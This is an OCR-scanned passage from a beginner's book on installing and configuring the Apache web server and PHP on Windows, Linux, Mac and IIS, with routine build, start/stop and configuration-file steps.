The file is named apache_, followed by the version number and
win32-x86-no_ssl.msi. For instance, httpd-2.2.22-win32-
x86-no_ssl.msi.

Note: You might need to right-click the file and choose Run as
Administrator.

The Apache Installation Wizard begins, and a welcome screen appears.
2. Click Next.

The license agreement is displayed.
3. Select I Accept the Terms in the License Agreement and then click Next.

If you don’t accept the terms, you can’t install the software. A screen of
information about Apache is displayed.

4. Click Next.
A screen is displayed asking for information.
5. Enter the requested information and then click Next.

The information requested is
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e Domain Name: Type your domain name, such as example.com. If
you're installing Apache for testing and plan to access it only from
the machine where it’s installed, you can enter localhost.

e Server Name: Type the name of the server where you're installing
Apache, such as www.example.com or sl.example.com. If you're
installing Apache for testing and plan to access it only from the
machine where it’s installed, you can enter localhost.

e FE-Mail Address: Type the e-mail address where you want to receive
e-mail messages about the web server, such as webserver@
example.com.

® Run Mode: Select whether you want Apache to run as a service (start-
ing automatically when the computer boots up) or whether you want
to start Apache manually when you want to use it. In most cases, you
want to run Apache as a service.

The Installation Type screen is displayed.
6. Select an installation type and then click Next.

In most cases, you should select Complete. Only advanced users who
understand Apache well should select Custom. If you select Custom, the
screens will be somewhat different than the screens described in the fol-
lowing text. A screen showing where Apache will be installed is displayed.

7. Select the directory where you want Apache installed and then
click Next.

You see the default installation directory for Apache, usually C: \
Program Files\Apache Group. If this is okay, click Next. If you want
Apache installed in a different directory, click Change and select a differ-
ent directory, click OK, and click Next. The screen that appears says the
wizard is ready to install Apache.

8. Click Install.

If you need to, you can go back and change any of the information you
entered before proceeding with the installation. A screen displays the
progress. When the installation is complete, a screen appears, saying
that the wizard has successfully completed the installation.

9. Click Finish to exit the Installation Wizard.

Apache is installed on your computer based on your operating system. If
you install it on later versions of Microsoft Windows, it is installed by default
as a service that automatically starts when your computer starts. If you
install it on an older version of Windows, such as Windows 95/98/Me, then
you need to start it manually or set it up so that it starts automatically when
your computer boots. See the section “Starting and Stopping Apache,” later
in this chapter, for more information.
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Installing Apache on a Mac

Apache is installed on all recent versions of Mac OS X, but it might not be
started. To start Apache, choose Apple Menu=>System Preferences=>Sharing.
On the Service pane, find the section for web sharing. Click the check box to
turn web sharing on, which starts the Apache web server.

If you need to install Apache yourself for some reason, you can install
Apache from source code, as described in the next section.

Installing Apache from source
code on Linux and Mac

You can install Apache on Linux, Unix, and Mac from source code. You
download the source code and compile it. To install Apache from source
code, follow these steps:

1. Change to the directory where you downloaded the file.

The downloaded file is typically named ht tpd-, followed by the version
name and tar.gz. This file is called a tarball because it contains many
files compressed by a program called tar.

2. Unpack the tarball by using a command similar to the following:
For Linux:
gunzip -c httpd-2.2.22.tar.gz | tar -xf -
For Mac:
gnutar -xzf httpd-2.2.22.tar.gz

After unpacking the tarball, you see a directory called httpd_2.2.22.
This directory contains several subdirectories and many files. Note that
the version number will be different by the time you read this.

3. Use a cd command to change to the new directory created when you
unpacked the tarball (for example, cd httpd 2.2.22).

4. Type the configure command.

The configure command consists of . /configure followed by all the
necessary options. To use Apache with PHP as a module, use the appro-
priate configure command as follows:

For Linux or Unix, use
./configure --enable-so
For Mac, use

./configure --enable-module=most
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You can use other options if you want. One of the more important instal-
lation options you might want to use is prefix, which sets a different
location where you want Apache to be installed. By default, Apache is
installed at /usr/local/apache or usr/local/apache2. You can
change the installation location with the following line:

./configure --prefix=/software/apache
You can see a list of all available options by typing the following line:
./configure --help

This script might take a while to finish running. As it runs, it displays
output. When the script is finished, the system prompt is displayed. If
configure encounters a problem, it displays a descriptive error
message.

5. Type make to build the Apache server.

The make command might take a few minutes to run. It displays mes-
sages while it’s running, with occasional pauses for a process to finish
running.

6. Type the following command to install Apache:
e For Linux or Unix, type
make install
e For Mac, type
sudo make install
7. Start the Apache web server.
See the next section for details.

8. Type the URL for your website (for example, www.example.com or
localhost) into a browser to test Apache.

If all goes well, you see a web page telling you that Apache is working.

Starting and Stopping Apache

You might need to start Apache when you install it. Or, you might not. It
might already be started. However, whenever you change your Apache or
PHP configuration settings, you need to restart Apache before the new set-
tings go into effect.

Starting and stopping Apache on Window's

When you install Apache on Windows, it’s usually automatically installed as
a service and started. It’s ready to use. However, on Windows 95, 98, and Me,
you have to start Apache manually, using the menu.
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When you install Apache, it creates menu items for stopping and starting it.
To find this menu, choose Start=>Programs=>Apache HTTP Server=>Control
Apache Server. The menu has the following items:

4 Start: This option starts Apache when it isn’t running. If you click this
item when Apache is running, you see an error message saying that
Apache has already been started.

4+ Stop: Stops Apache when it’s running. If you click this item when Apache
isn’t running, you see an error message saying that Apache isn’t running.

4+ Restart: This restarts Apache when it’s running. If you make changes to
Apache’s configuration, you need to restart Apache before the changes
become effective.

Starting Apache on Linux, Unix, and Mac

A script named apachect]l is available to control the server. By default, the
script is stored in a subdirectory called bin in the directory where Apache
is installed. Some Linux distributions may put it in another directory.

The script requires a keyword. The most common keywords are start,
stop, and restart. The general syntax is as follows:

path/apachectl keyword

The apachectl script starts the Apache server, which then runs in the
background, listening for HTTP requests. By default, the compiled Apache
server is named httpd and is stored in the same directory as the apachectl
script, unless you changed the name or location during installation. The
apachectl script serves as an interface to the compiled server, called
httpd.

You can run the ht tpd server directly, but it’s better to use apachectl as
an interface. The apachect1 script manages and checks data that httpd
commands require. Use the apachect] script to start Apache with the fol-
lowing command:

4 For Linux:
/usr/local/apache/bin/apachectl start
4+ For Mac:

sudo /usr/local/apache/bin/apachectl start

The apachect]l script contains a line that runs ht tpd. By default,
apachectl looks for httpd in the default location — /usr/local/
apache/bin or /usr/local/apache2/bin.If you installed Apache in

a nonstandard location, you might need to edit apachectl to use the cor-
rect path. Open apachectl and then search for the following line:
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HTTPD="'/usr/local/apache2/bin/httpd"

Change the path to the location where you installed ht tpd. For example, the
new line might be this:

HTTPD="'/usr/mystuff/bin/httpd’

After you start Apache, you can check whether Apache is running by looking
at the processes on your computer. Type the following command to display
a list of the processes that are running:

ps -A

If Apache is running, the list of processes includes some httpd processes.

Restarting Apache on Linux, Unix, and Mac

Whenever you change the configuration file, the new directives take effect
the next time Apache starts. If Apache is shut down when you make the
changes, you can start Apache as described earlier in the “Starting Apache
on Linux, Unix, and Mac” section. However, if Apache is running, you can’t
use start to restart it. Using start results in an error message saying that
Apache is already running. You can use the following command to restart
Apache when it’s currently running:

4+ For Linux:
/usr/local/apache2/bin/apachectl restart
4+ For Mac:
sudo /usr/local/apache2/bin/apachectl restart
Although the restart command usually works, sometimes it doesn’t. If you

restart Apache and the new settings don’t seem to be in effect, try stopping
Apache and starting it again. Sometimes this solves the problem.

Stopping Apache on Linux, Unix, and Mac
To stop Apache, use the following command:

/usr/local/apache/bin/apachectl stop
sudo /usr/local/apache/bin/apachectl stop

You can check to see whether Apache is stopped by checking the processes
running on your computer by using the following command:

ps -A

The output from ps shouldn’t include any httpd processes.
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Sometimes you want to know information about your Apache installation,
such as the installed version. You can get this information from Apache by
using the applicable procedure that follows.
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Getting Apache information on Windows

You can get information from Apache by opening a Command Prompt
window (Startw>Programsr>Accessories>Command Prompt), changing to the
bin directory in the directory where Apache is installed (such as cd C:\
Program Files\Apache Group\Apache2\bin), and accessing Apache
with options. For example, to find out which version of Apache is installed,
type the following in the command prompt window:

apache -v

To find out what modules are compiled into Apache, type
apache -1

You can also start and stop Apache directly, as follows:

apache -k start
apache -k stop

You can see all the options available by typing the following:

apache -h

Getting Apache information
on Linux, Unix, and Mac

You can use options with the ht tpd server to obtain information about
Apache. For instance, you can find out what version of Apache is installed by
changing to the directory where the ht tpd server resides and typing one of
the following:

httpd -v
./httpd -v

You can find out what modules are installed with Apache by typing
httpd -1
To see all the options that are available, type

httpd -h
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When Apache starts, it reads information from a configuration file. If Apache
can’t read the configuration file, it can’t start. Unless you tell Apache to use
a different configuration file, it looks for the file conf /httpd. conf in the
directory where Apache is installed. Keep reading for details on how to con-
figure Apache so that it starts without a hitch.

Always restart Apache after you change any directives.

Changing settings

Apache behaves according to commands, called directives, in the configura-
tion file (which is a plain text file). You can change some of Apache’s behav-
ior by editing the configuration file and restarting Apache so that it reads the
new directives.

In most cases, the default settings in the configuration file allow Apache to
start and run on your system. However, you might need to change the set-
tings in some cases, such as the following:

4 Installing PHP: If you install PHP, you need to configure Apache to rec-
ognize PHP programs. How to change the Apache configuration for PHP
is described in Chapter 3 of this minibook.

4+ Changing your Document Root: Apache looks for web page files in a
specific directory and its subdirectories, called your Document Root.
You can change the location of your Document Root. Read the next
section for instructions.

4+ Changing the port on which Apache listens: By default, Apache listens
for file requests on port 80. You can configure Apache to listen on a dif-
ferent port. See the upcoming “Changing the port number” section for
details on how to do that.

To change any settings, edit the httpd. conf file using a text

editor. On Windows, you can access this file through the menu at
Start>Programs=>Apache HTTPD Server=>Configure Apache Server=>Edit the
Apache httpd.conf File. When you click this menu item, the httpd. conf file
opens in Notepad.

The httpd. conf file has comments (lines beginning with #) that describe
the directives, but make sure you understand their functions before chang-
ing any. All directives are documented on the Apache website.

Here are some conventions to consider when you’re changing Apache
settings:
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4+ Filenames and paths: When adding or changing filenames and paths,
use forward slashes, even when the directory is on Windows. Apache
can figure it out.

4+ Path names: You don’t need to put path names in quotes, unless they
include special characters.

4+ Special characters: A colon (:) is a special character; the underscore
(L) and hyphen (-) are not.

For instance, to indicate a Windows directory, you would use something like
the following:

"c:/temp/mydir"

The settings don’t go into effect until Apache is restarted. Sometimes, using
the restart command doesn’t work to change the settings. If the new set-

tings don’t seem to be in effect, try stopping the server with stop and then

starting it with start.

Changing the location of your Document Root

By default, Apache looks for your web page files in the subdirectory htdocs
in the directory where Apache is installed. You can change this with the
DocumentRoot directive. Look for the line that begins with DocumentRoot,
such as the following:

DocumentRoot "C:/Program Files/Apache Group/Apache/htdocs"
Change the filename and path to the location where you want to store your
web page files. Don’t include a forward slash (/) on the end of the directory

path. For example, the following might be your new directive:

DocumentRoot /usr/mysrver/Apache?2/webpages

Changing the port number

By default, Apache listens on port 80. You might want to change this, for
instance, if you're setting up a second Apache server for testing. The port is
set by using the Li sten directive as follows:

Listen 80

With Apache 2.0 and 2.2, the Listen directive is required. If no Listen
directive is included, Apache 2 won’t start.

You can change the port number as follows:

Listen 8080
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Chapter 3: Installing PHP

In This Chapter

v+ Checking whether PHP needs to be installed

v Installing PHP on Windows, Mac OS X, and Linux
v+~ Configuring your web server for PHP

v Configuring PHP

v Testing PHP

v+ Troubleshooting the PHP installation

ou might or might not need to install PHP, depending on which operat-

ing system you're using. PHP isn’t provided with the Windows operat-
ing system. In many cases with other operating systems, however, PHP is
already installed. For instance, some recent Linux and Mac distributions
automatically install PHP.

You can check to see whether PHP needs to be installed by following the
instructions in this chapter. If it isn’t currently installed or if you have an
older version that needs to be updated, you need to install PHP.

Installing PHP includes the following steps, which are explained in detail in
this chapter:

Check to find out whether PHP needs to be installed.

Obtain the PHP software, usually by downloading it from a website.
Install PHP.

Configure your web server for PHP.

Configure PHP.

6. Test PHP.

s W N~

If you encounter any problems, some additional troubleshooting might be
required, and we tell you how to do that, also, in this chapter.
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To see whether PHP is installed, search your hard drive for any PHP files:

4+ Linux/Unix/Mac: Type the following:
find / -name "php*"

4+ Windows: Use the Find feature (choose Start=>Find) to search for php*.
In general, PHP isn’t installed on Windows computers.

If you don’t find any PHP files, PHP isn’t installed. In the next section, we
describe how to obtain and install PHP.

If you find PHP files on your computer, PHP might or might not be ready to
go. The files might reside on your hard drive, but PHP might not have been
installed. Or PHP might be installed, but it might not be the most recent ver-
sion. In that case, you might want to install the most up-to-date version.

You can test whether PHP is ready to go using the testing procedure
described in the section “Testing PHP,” later in this chapter. The tests in
that section determine whether PHP is installed and tell you which version
is installed.

Most Mac OS X versions since 10.3 come with PHP already installed, but
Apache might not be configured to handle PHP code. If PHP is installed on
your Mac but doesn’t seem to be working, try following the instructions in
the section “Configuring Your Web Server for PHP,” later in this chapter.
Editing the httpd. conf file might be all you need to do to get your PHP up
and running.

Obtaining PHP

A\

At the time of this writing, two versions of PHP are available: PHP 4 and
PHP 5. When PHP 6 is released, three versions of PHP might be available for
a period of time. If you're installing PHP for the first time and creating your
first website, you should download PHP 5, or PHP 6 if it is available at the
time you read this book.

You should install an older version of PHP only if you need to maintain or
modify an existing website with existing code.

Code that’s written for one version of PHP might need to be modified to
run on another version of PHP. If you have a lot of code, you might want to
update the code over a period of time.
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The sections that follow provide some general information about what you’ll
find on the PHP website and tell you how to get the PHP installation file for
Windows, Linux, and Mac — and also how to obtain an all-in-one installation
kit that includes PHP plus more web development tools. Choose the option
that best fits your needs. After downloading the file, you can verify that the
file is secure.

Downloading from the PHP website

PHP for all operating systems is available on the PHP website at www . php .
net. You can download source code to compile on your operating system.
Compiling and installing source code isn’t difficult on Linux and the Mac OS,
but requires expert knowledge and software on Windows.

Binary files — compiled, ready-to-run files that just need to be copied to the
correct location — are available only for Windows. You can obtain binary
files for Linux and the Mac OS from other web locations, but not from the
PHP website.

Obtaining PHP for Windows

You can easily install PHP from binary files that you can download from the
PHP website at www.php.net. You can download a Zip file that contains all
the necessary files or an installer that you can run to install all the PHP files.
The PHP documentation recommends that you install PHP from the Zip file
for better understanding of the installation and easier addition of extensions
later. The directions in this chapter provide instructions for installing PHP
from the Zip file.

Although Windows users can compile and install PHP from source code, also
available from the PHP website, it is difficult and should only be attempted
by advanced users. It requires advanced knowledge and special software.

To download the Windows Zip file, take these steps:

1. Go to www.php.net/downloads.php.

2. Download the Zip package for the most recent version of PHP.

Obtaining PHP for Linux

Most recent versions of Linux include PHP. If you need to install PHP or
upgrade to a more recent version, most Linux distributions provide software
on their website that you can download and install on your specific Linux
system. In addition, most Linux systems provide utilities specifically for
downloading and installing software. For instance, Fedora provides the yum
utility that downloads and installs software from the Fedora website, and
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Ubuntu includes a package manager as well. See the documentation for your
Linux distribution for information on how to download and install software
on your Linux system.

In some cases, you might need to install PHP manually. The software pro-
vided by the website might not be the most recent or might not be config-
ured to your needs. To install manually, you need to download the source
code from the PHP website at www.php .net.

You can easily compile and install PHP from the source code. This process
isn’t as technical and daunting as it sounds. Instructions for installing PHP
from source code on Linux are provided in this chapter.

Obtaining PHP for the Mac 0S

PHP comes already installed on most recent versions of Mac OS X. If you
need to install PHP because it isn’t installed or an older version is installed,
the easiest way is to install from a binary file. The PHP website doesn’t pro-
vide a binary file, but binary files are provided for some versions of OS X at
https://blog.liip.ch/archive/2011/04/13/php-5-3-for-os-x-
10-6-one-line-installer.html. The information needed to download
and install the binary file is provided at this website. Check the support and
extensions provided in the binary file to ensure that you have the features
you need.

If the binary file doesn’t provide the features or extensions you need, you
can download the source files from the PHP website to compile and install
on your Mac. Instructions for installing PHP from the source code are pro-
vided in this chapter.

Obtaining all-in-one installation kits

You can obtain some kits that contain and install PHP, MySQL, and Apache
in one procedure. These Kits can greatly simplify the installation process.
However, the software provided might not include the features and exten-
sions that you need.

XAMPP is a popular all-in-one installation kit that contains Apache, PHP,
and MySQL. XAMPP is available at www . apachefriends.org/en/xampp.
html. Instructions for installing your software using XAMPP are provided in
Chapter 5 in this minibook.

WAMPServer is a popular installation kit for Windows that provides recent
versions of Apache, PHP, and MySQL. WAMPServer is available at www .

wampserver .com.
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MAMP is an installation kit for Mac that installs Apache, PHP, and MySQL for

Mac OS X. This free package installs a local server environment on your Mac.

You can obtain MAMP at www.mamp . info.

Verifying a downloaded file

The PHP website provides methods to verify the software after you down-
load it, as a security precaution to make sure that the file hasn’t been
altered by bad guys. You can verify using either the MD5 method or the PGP
method. The MD5 method is simpler and is described in this section.

On the download web page, a long string called a signature is displayed
below the file you downloaded. Here’s an example:

MD5: 6112f6a730c680a4048dbab40e4107b3

The downloaded PHP file needs to provide the same MD5 signature shown
on the download page. You use software on your computer to check the
MDS5 signature of the downloaded file. On Windows, you might need to
download and install MD5 software. You can find software that checks MD5
signatures at www. fourmilab.ch/md5. Your Linux or Mac system includes
software to check the MD5 signature.

You can check the MD5 signature of the downloaded file at a command line
prompt, such as the command prompt window in Windows. You may need
to be in the directory where the downloaded file resides. To check the MD5
signature, type:

md5 filename

Use the name of the file that you downloaded, such as md5 php-5.2.1-
Win32.zip. In Windows, you might need to copy the downloaded file to the
directory where the MD5 software (such as md5 . exe) is installed, change to
this directory, and then type the preceding command.

A signature displays. The signature here should be the same signature dis-
played under the filename on the download page of the PHP website.

HashCheck is a simple, open source (free) Windows program with a graphi-
cal interface that allows you to check MD5 signatures by clicking buttons
and dragging filenames, rather than by typing commands in a command
prompt window. You can obtain it at http: //code.kliu.org/hashcheck.

You can verify the downloads for Apache and MySQL with a similar proce-
dure, as discussed elsewhere in this minibook.
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Although PHP runs on many platforms, we describe installing it on Unix,
Linux, Mac, and Windows, which represent the operating systems in use by
the majority of websites on the Internet. PHP runs with several web serv-
ers, but these instructions focus mainly on Apache and Internet Information
Servers (IIS) because together they power almost 90 percent of the websites
on the Internet. If you need instructions for other operating systems or web
servers, see the PHP website, at www . php . net.

This chapter provides installation instructions for PHP 5 and 6. If you're
installing an earlier version, there are some small differences, so read the
install. txt file provided with the PHP distribution.

Installing on Unix and Linux

You can install PHP as an Apache module or as a stand-alone interpreter.
If you're using PHP as a scripting language in web pages to interact with a
database, install PHP as an Apache module. PHP is faster and more secure as
amodule. We don’t discuss PHP as a stand-alone interpreter in this book.

We provide step-by-step instructions in the next few sections for compiling
and installing PHP on Unix and Linux. Read all the way through the steps
before you begin the installation procedure.

Preparing for installation on Unix and Linux
Before beginning to install PHP, check the following:

4+ The Apache module mod_so is installed. It usually is. To display a list of
all the modules, type the following at the command line:

httpd -1

You might have to be in the directory where httpd is located before
the command will work. The output usually shows a long list of mod-
ules. All you need to be concerned with for PHP is mod_so. If mod_so
isn’t loaded, Apache must be reinstalled using the enable-module=so
option.

4 The apxs utility is installed. The apxs utility is installed when Apache
is installed. You should be able to find a file called apxs. If Apache was
already installed on Linux or installed from a Linux distribution website,
apxs might not have been installed. Some Apache installations consist
of two installation packages: one for the basic Apache server and one for
Apache development tools. The development tools, which contain apxs,
might need to be installed.
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4+ The Apache version is recent. See Chapter 2 of this minibook for a dis-

cussion of Apache versions. To check the version, type the following:
httpd -v

You might have to be in the directory where ht tpd is located before the
command will work.

Installing on Unix and Linux
To install PHP on Unix or Linux with an Apache web server, follow these steps:

~

2.

3.

Change to the directory where you downloaded the source code (for
instance, cd-/usr/src).

You see a file named php-, followed by the version name and tar.gz.
This file is a tarball that contains many files.

Unpack the tarball.
The command for PHP version 5.4.5 is
gunzip -c php-5.4.5.tar.gz | tar -xf -
A new directory called php-5.4.5 is created with several subdirectories.

Change to the new directory that was created when you unpacked
the tarball.

For example, type cd php-5.4.5.
Type the configure command.

The configure command consists of . /configure followed by the
configuration options you want to use. The minimum configure
command is

./configure --with-apxs2

You might want to use other configuration options with the configure
command. The available configuration options are discussed in the sec-
tion “Installation options for Unix, Linux, and Mac,” later in this chapter.

For this book, you need to activate MySQL support now, which is done
with a configuration option. Activating MySQL support is discussed in
Chapter 4 of this minibook.

When you type the configure command, you see many lines of output.
Wait until the configure command has finished. This might take a few
minutes. If the configure command fails, it provides an informative
message. Usually, the problem is missing software. You see an error
message indicating that certain software can’t be found. In that case,
you need to install or update the software that PHP needs.
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If the apxs utility isn’t installed in the expected location, you see an
error message indicating that apxs couldn’t be found. If you get this
message, check the location where apxs is installed (find / -name
apxs?) and include the path in the with-apxs option of the configure
command: --with-apxs=/usr/sbin/apxs2 or /usr/local/
apache/bin/apxs?2 or possibly /usr/bin/apxs2.

5. Type make.

You see many lines of output. Wait until it’s finished. This might take a
few minutes.

6. Type make install.

Installing on Mac 0S X

Beginning with PHP 4.3, you can install PHP on Mac OS X as easily as on
Unix and Linux. You install PHP by downloading source files, compiling the
source files, and installing the compiled programs.

Read all the way through the steps before you begin. Be sure that you under-
stand it all clearly and have everything prepared so you don’t have to stop
in the middle of the installation.

Preparing for a Mac 0S X installation

If you want to use PHP with Apache for your website, Apache must be
installed. Most Mac OS X systems come with Apache already installed. For
more information on Apache, see Chapter 2 of this minibook.

Before beginning to install PHP, check the following:

4+ The Apache version is recent. See Chapter 2 of this minibook for a dis-
cussion of Apache versions. To check the version, type the following on
the command line:

httpd -v

You might have to be in the directory where httpd is located before the
command will work.

4+ The Apache module mod_so is installed. It usually is. To display a list of
all the modules, type the following:

httpd -1

You might have to be in the directory where httpd is located before the
command will work. The output usually shows a long list of modules.

All you need to be concerned with for PHP is mod_so. If mod_so isn’t
loaded, you must reinstall Apache.
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4+ The apxs utility is installed. apxs is normally installed when Apache Book I
is installed. To determine whether it’s installed on your computer, look Chapter 3
for a file called apxs?2. If you can find the file, apxs is installed; if not,
it isn’t. _

-

4+ The files from the Developer’s Tools CD are installed. This CD is &
supplemental to the main Mac OS X distribution. If you can’t find the CD, §
you can download the tools from the Apple Developer Connection web- ?U
site at https://developer.apple.com/technologies/tools. %

Installing on Mac 0S X
To install PHP on Mac OS X, follow these steps:

1. Change to the directory where you downloaded PHP (for example,
cd-/usr/src).

You see a file named php-, followed by the version name and tar.gz.
This file contains several files compressed into one. The file might have
been unpacked by the expander automatically so that you see the direc-
tory php-5.4.5 (or similar, the version will likely be different). If so,
skip to Step 3.

2. Unpack the tarball.
The command to unpack the tarball for PHP version 5.4.5 is
tar xvfz php-5.4.5.tar.gz
A new directory called php-5.4.5 is created with several subdirectories.

3. Change to the new directory that was created when you unpacked
the tarball.

For example, you can use a command like the following:
cd php-5.4.5
4. Type the configure command.

The configure command consists of . /configure followed by all the
necessary options. The minimum set of options follows:

e Location options: Because the Mac stores files in different locations
than the PHP default locations, you need to tell PHP where files are
located. Use the following options:

--prefix=/usr
--sysconfdir=/etc
--localstatedir=/var
--mandir=/usr/share/man

e zliboption: --with-z1lib.

e Apache option: If you're installing PHP for use with Apache, use the
following option: --with-apxs or --with-apxs2.
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The most likely configuration command is

./configure --prefix=/usr --sysconfdir=/etc
--localstatedir=/var --mandir=/usr/share/man
--with-apxs —--with-zlib

You also need to use an option to include MySQL support. See Chapter 4
of this minibook for information on including MySQL support.

You can type the configure command on one line. If you use more
than one line, type \ at the end of each line.

You see many lines of output. Wait until the configure command has
finished. This might take a few minutes.

If the apxs utility isn’t installed in the expected location, you see an
error message, indicating that apxs couldn’t be found. If you get this
error message, check the location where apxs is installed (find /
-name apxs) and include the path in the with-apxs option of the
configure command: --with-apxs=/usr/sbin/apxs.

You might need to use many other options, such as options that change
the directories where PHP is installed. These configure options are
discussed in the “Installation options for Unix, Linux, and Mac” section,
later in this chapter.

5. Type make.

You see many lines of output. Wait until it’s finished. This might take a
few minutes.

6. Type sudo make install.

Installation options for Unix, Linux, and Mac

The preceding sections give you steps to quickly install PHP on Unix, Linux,
or Mac with the options needed for the applications in this book. However,
you might want to install PHP differently. For instance, all the PHP programs
and files are installed in their default locations, but you might need to install
PHP in different locations. Or you might be planning applications using addi-
tional software. You can use additional command line options if you need to
configure PHP for your specific needs. Just add the options to the command
shown in Step 4 of the Unix and Mac installation instructions.

In general, the order of the options in the command line doesn’t matter but
the case does. Unix, Linux, and Mac commands are typically case sensitive,
so if you see the command in lowercase (which is typical), you need to make
sure you use lowercase as well when you type it in.

Table 3-1 shows the most commonly used options for PHP. To see a list of all
possible options, type ./configure -help.
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Table 3-1

PHP Configure Options

Option

Tells PHP To

prefix=PREFIX

Set the main PHP directory to PREFIX. The default
PREFIXis /usr/local.

exec-prefix=EPREFIX

Install architecture dependent files in EPREFIX.
The default EPREFIXis PREFIX.

bindir=DIR

Install user executables in DIR. The defaultis
EPREFIX/bin.

infodir=DIR

Install info documentation in DIR. The default is
PREFIX/info.

mandir=DIR

Install man files in DIR. The defaultis PREFTIX/man.

with-config-file-
path=DIR

Look for the configuration file (php . ini)in DIR.
Without this option, PHP looks for the configuration
file in a default location, usually /usr/local/lib.

disable-libxml

Disable XML support that's included by default.

enable-ftp

Enable FTP support.

enable-magic-quotes

Enable automatic escaping of quotes with a backslash.

with-apxs=FILE

Build a shared Apache module using the apxs util-
ity located at FTLE. Default FTLE|s apxs.

with-apxs2=FILE

Build a shared Apache 2 module using the apxs
utility located at FILE. The default FILEis apxs.

with-mysqgl=DIR

Enable support for MySQL 4.0 or earlier databases.
The default bR where MySQL is located is /usr/
local.

with-mysgli=DIR

Enable support for MySQL 4.1 or later databases.
DIR needs to be the path to the file named mysql_
config that was installed with 4.1. Available only
with PHP 5 or later.

with-openssl=DIR

Enable OpenSSL support for a secure server.
Requires OpenSSL version 0.9.5 or later.

with-oci8=DIR

Enable support for Oracle 7 or later. Default DIRis con-
tained in the environmental variable, ORACLE_HOME.

with-oracle=DIR

Enable support for earlier versions of Oracle. The
default DIRis contained in the environmental vari-
able, ORACLE_HOME.

with-pgsgl=DIR

Enable support for PostgreSQL databases. The
default DIR where PostgreSQL is located is /usx/
local/pgsql.

with-servlet=DIR

Include servlet support. DIR is the base install
directory for the JSDK. The Java extension must be
built as a shared .d11.

Book |
Chapter 3

dHd Buijjeisy)



46

3

Installing PHP

Installing on Window's

PHP runs on Microsoft Windows beginning with Windows 98, though
you'll likely have difficulty getting everything running if you're still using
Windows 98. A newer version of Windows, such as Windows XP or later,
ideally Windows 7 or later, is recommended.

To install PHP 5 or 6 on Windows, you unzip the file that contains all the
necessary files for PHP and store the files in the appropriate locations. As
an alternative to unzipping the files, you could run a PHP installer, which
may also be available for your version of Windows. You can find out at the
PHP website.

The following steps show how to install PHP on Windows using the Zip file:

1.

Extract the files from the . zip file into the directory where you want
PHP to be installed, such as c: \php.

The Zip file is named php, followed by the version number and win32.
zip, such as php5.4.5-Win32.zip-. If you double-click the file, it
should open. Copy the files to an appropriate directory or extract them,
if your unzip software has that option. C: \php is a good choice for
installation because many configuration files assume that’s where PHP is
installed, so the default settings are more likely to be correct.

Do not install PHP in a directory with a space in the path, such as in
Program Files\PHP.

You now have a directory and several subdirectories that contain all

the files from the Zip file. You should be able to run PHP programs.
Occasionally, PHP needs files that it can’t find. When this happens, PHP
displays an error message when you run a PHP program, saying that it
can’t find a particular file with a .d11 extension. You can usually find the
DLL in the ext subdirectory and copy it into the main PHP directory.

Activate MySQL support.

Instructions are provided in Chapter 4 of this minibook.

Configure your web server.

The next section provides instructions for configuring your web server.
Configure PHP.

Follow the directions in the “Configuring PHP” section, later in this
chapter.
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Your web server needs to be configured to recognize PHP scripts and run
them. Here we tell you how to configure both Apache and IIS on Windows,
and we also tell you how to configure Apache on Linux and Mac.

Configuring your web server on Windows

You can’t have Apache and Internet Information Services (IIS) running at the
same time using the same port number. Either shut down one web server or
tell them to listen on different ports. (We tell you how to change the port on
which Apache listens in Chapter 2 of this minibook.)
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In this section, we tell you how to configure both Apache and IIS for PHP.

Configuring Apache on Windows

You must edit an Apache configuration file, called httpd. conf, before PHP
can run propetly. It’s possible that PHP automatically configured itself to
work with Apache; if that’s the case, you’'ll see the LoadModule directive
already present and uncommented and therefore following these steps is not
necessary. To configure Apache for PHP, follow these steps:

1. Open httpd.conf for editing.

To open the file, choose Start=>Programs=>Apache HTTPD
Server>Configure Apache Server~Edit Configuration.

If Edit Configuration isn’t on your Start menu, find the httpd. conf file
on your hard drive, usually in the directory where Apache is installed,
in a conf subdirectory (for example, c: \program files\Apache
group\Apache\conf). Open this file in a text editor, such as Notepad
or WordPad.

2. Activate the PHP module.

Look for the module statement section in the file and locate the follow-
ing line:

#LoadModule php5_module "c:/php/php5apache2_2.d11"

Remove the # from the beginning of the line to activate the module. The
name of the module may differ slightly depending on the version of PHP
and the version of Apache that you're using.

3. Tell Apache which files are PHP programs.

Look for a section describing AddType. This section might contain one
or more AddType lines for other software. The AddType line for PHP is

AddType application/x-httpd-php .php
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Look for this line. If you find it with a pound sign at the beginning of the
line, remove the pound sign. If you don’t find the line, add it to the list
of AddType statements. You can specify any extension or series of
extensions.

This line tells Apache that files with the . php extension are files of the
type application/x-httpd-php. Apache then knows to send files
with .php extensions to the PHP module.

Start Apache (if it isn’t running) or restart Apache (if it is running).

You can start it as a service in later versions of Windows by choosing
Start>Programs=>Apache HTTPD Server=>Control Apache Server and
then selecting Start or Restart. You can start it in Windows 98/Me by

choosing Start>Programs=>Apache Web Server->Management.

Sometimes restarting Apache isn’t sufficient; you must stop it first and
then start it. In addition, your computer is undoubtedly set up so that
Apache will start whenever the computer starts. Therefore, you can shut
down and then start your computer to restart Apache.

Configuring 1IS
PHP can also be used with IIS. Though we focus mainly on Apache in the
book, you can use these steps to configure IIS to work with:

1.

10.
11.

RN WD

Enter the IIS Management Console.

You can enter it by choosing Start=>Programs=Administrative Tools=>
Internet Services Manager or Starte>Control Panel=>Administrative
Tools=>Internet Services Manager.

Right-click your website (such as Default Website).
Choose Properties.

Click the Home Directory tab.

Click the Configuration button.

Click the App Mappings tab.

Click Add.

In the Executable box, type the path to the PHP interpreter.
For example, type c:\php\php-cgi.exe.

In the Extension box, type .php.

This will be the extension associated with PHP scripts.
Select the Script Engine check box.

Click OK.
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Repeat Steps 6-10 if you want any extensions in addition to . php to be
processed by PHP, such as .phtml.

Configuring Apache on Linux and Mac

You must configure Apache to recognize and run PHP files. An Apache con-
figuration file, httpd. conf, is on your system, possibly in /etc or in /usr/
local/apache/conf. You must edit this file before PHP can run properly.
Because Apache was installed prior to PHP, the PHP installation process
may have edited the file automatically. If this is the case, you’ll notice that
the PHP module will already appear in the httpd. conf file.

Follow these steps to configure your system for PHP:

1.
2.

Open the httpd.conf file so you can make changes.

Configure Apache to load the PHP module.

Find the list of LoadModule statements. Look for the following line:
LoadModule php5_module libexec/libphp5.so

If this line isn’t there, add it. If a pound sign (#) is at the beginning of the
line, remove the pound sign.

Configure Apache to recognize PHP extensions.

You need to tell Apache which files might contain PHP code. Look for a
section describing AddType. You might see one or more AddType lines
for other software. Look for the AddType line for PHP, as follows:

AddType application/x-httpd-php .php

If you find a pound sign (#) at the beginning of the line, remove the
pound sign. If you don’t find this line, add it to the AddType statements.
